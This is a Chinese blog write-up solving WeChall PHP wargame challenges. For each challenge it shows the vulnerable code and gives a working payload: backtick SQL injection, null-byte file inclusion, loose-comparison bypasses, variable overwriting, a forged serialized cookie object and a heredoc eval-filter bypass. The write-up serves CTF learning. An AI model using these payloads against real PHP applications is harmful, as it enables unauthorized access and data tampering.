Chybeta

WeChall-PHP-writeup

WeChall PHP关。

No Escape

题目源码:https://www.wechall.net/challenge/no_escape/index.php?highlight=christmas

流程大概如下:

  1. 点击vote按钮后,调用noesc_voteup()
  2. noesc_voteup()中,执行update操作后,调用noesc_stop100()
  3. noesc_stop100(),先检查票数是否为111,若是则通过。接着检查票数是否大于等于100,若是则清零。

也就是说,通过vote的方法是达不到票数为111的。看一下noesc_voteup()的第60行左右:

1
2
$who = mysql_real_escape_string($who);
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";

mysql_real_escape_string()会对如下字符进行转义,即在前面加上反斜杠:

  • \x00
  • \n
  • \r
  • \
  • \x1a
    该函数在php5.5.0后废弃,php7.0.0开始移除。

在本题中,update的操作是用反引号来包含,所以如果我们传入参数为 bill`=111 -- +
显示的sql语句为:

1
UPDATE noescvotes SET `bill`=111 -- `=`bill`=111 -- `+1 WHERE id=1

将bill票数设置为111,并且通过--使得后面注释掉。从而成功注入。

访问:https://www.wechall.net/challenge/no_escape/index.php
?vote_for=bill`=111 — +

通关。

Training: PHP LFI

漏洞代码:

1
2
3
4
5
6
7
8
9
$code = '$filename = \'pages/\'.(isset($_GET["file"])?$_GET["file"]:"welcome").\'.html\';';
$code_emulate_pnb = '$filename = Common::substrUntil($filename, "\\0");'; # Emulate Poison Null Byte for PHP>=5.3.4
$code2 = 'include $filename;'
...
eval($code.$code_emulate_pnb); # eval the first line
...
if (lfiIsSafeDir($filename) === true) { eval($code2); }
...

可以看到它自己模拟了一个\0的字符串截止符。为了能包含solution.php,可以利用00截断来bypass掉源代码中会附加的.html

最后的payload:

1
https://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

PHP 0817

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (isset($_GET['which']))
{
$which = $_GET['which'];
switch ($which) {
case 0:
case 1:
case 2:
require_once $which.'.php'; break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}}
?>

目标是包含solution.php。这里考察php弱类型比较。我们传入的which为字符串,在进行swich比较时字符串会被转化成0,然后再与数字0,1,2进行比较。所以payload为:

1
https://www.wechall.net/challenge/php0817/index.php?which=solution

Training: Register Globals

这里可以看到源代码: https://www.wechall.net/challenge/training/php/globals/index.php?highlight=christmas

其中这段代码存在变量覆盖漏洞:

1
2
3
foreach ($_GET as $k => $v) {
$$k = $v;
}

要使strtolower($login[0]) === 'admin',可以通过GET传入login[0]=admin。通过上面的代码将会执行

1
$login[0]=admin;

从而满足条件。

username和password可以随便填写。

payload:

1
https://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin

Are you serial

这题考察php反序列化。

https://www.wechall.net/challenge/are_you_serial/index.php?ShowSource=code.php 中第四十行:

1
if (false !== ($user = unserialize(Common::getCookie('serial_user', ''))))

从cookie中取出对应的字段,并进行反序列化。

而在 https://www.wechall.net/challenge/are_you_serial/index.php?ShowSource=SERIAL_Solution.php 中有一个SERIAL_Solution的类,里面的_wakeup 方法可以直接通过此关。

所以做法就是生成一个序列串,通过cookie传入,然后反序列化后生成SERIAL_Solution类,并自动调用_wakeup方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class SERIAL_Solution
{
public function __wakeup()
{ if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE)))
{
$chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 2, 'challenge/are_you_serial/index.php');
}
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}
$tmp = new SERIAL_Solution();
echo serialize($tmp);
?>

得到: O:15:”SERIAL_Solution”:0:{} 。修改cookie:

PHP 0819

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// closure, because of namespace!
$challenge = function()
{
$f = Common::getGetString('eval'); $f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('sorry, not allowed!'); }
try
{
eval("\$spaceone = $f"); }
catch (Exception $e)
{
return false;
}
return ($spaceone === '1337');
};
?>

分析一下流程,通过get的eval参数传入并赋值到变量$f,然后经过str_replace()的过滤,要求长度小于13,并且不包含字符串return,接着执行eval。

目标是让结果返回True。最后一行$spaceone === '1337',不存在弱类型比较,要求类型和值都得相等。看一下str_replace(),过滤了单引号,双引号,所以如果直接get传参index.php?eval='1337'进去,在经过过滤后,到最后会变为$spaceone=1337,是一个数值类型而非字符串。

查一下php手册;http://php.net/manual/zh/language.types.string.php 。除了用单引号,双引号表示字符串外,还有以下两种:

  • heredoc 语法结构
  • nowdoc 语法结构

用一个简单的例子,对heredoc语法结构如下:

1
2
3
$f = <<<q
1337
q;

<<<后面要提供一个标识符,这里为q,然后换行。接下来是字符串本身,这里为1337。结束时所引用的标识符必须在该行的第一列,即标识符q要在开头。标识符的命名只能包含字母、数字和下划线,并且必须以字母和下划线作为开头。在结束标识符这行除了可能有一个分号(;)外,绝对不能包含其它字符,更重要的是结束标识符的前面必须是个被本地操作系统认可的换行,比如在 UNIX 和 Mac OS X 系统中是 \n,而结束定界符(可能其后有个分号)之后也必须紧跟一个换行。

所以在本题中,我们构造payload如下:

1
https://www.wechall.net/challenge/space/php0819/index.php?eval=<<<q%0a1337%0aq;%0a

注意 %0a 即换行。

而nowdoc语法结构中,由于<<<后的标识符要用单引号括起来,所以这里无法利用,不展开。

Host ME

……未果。

PHP 0818

题目要求我们传入的每一位不允许是1到9的数字。而。

1
2
>>> hex(3735929054)
'0xdeadc0de'

恰好3735929054的十六进制为0xdeadc0de,仅出现字母与数字0,因此可以绕过检测。

最后与3735929054进行==比较,这里存在php弱类型比较问题,即”0xdeadc0de” == “3735929054”。

payload:

1
answer=0xdeadc0de

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:WeChall-PHP-writeup

文章作者:chybeta

发布时间:2017年09月08日 - 00:09

最后更新:2017年09月09日 - 00:09

原始链接:http://chybeta.github.io/2017/09/08/WeChall-PHP-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。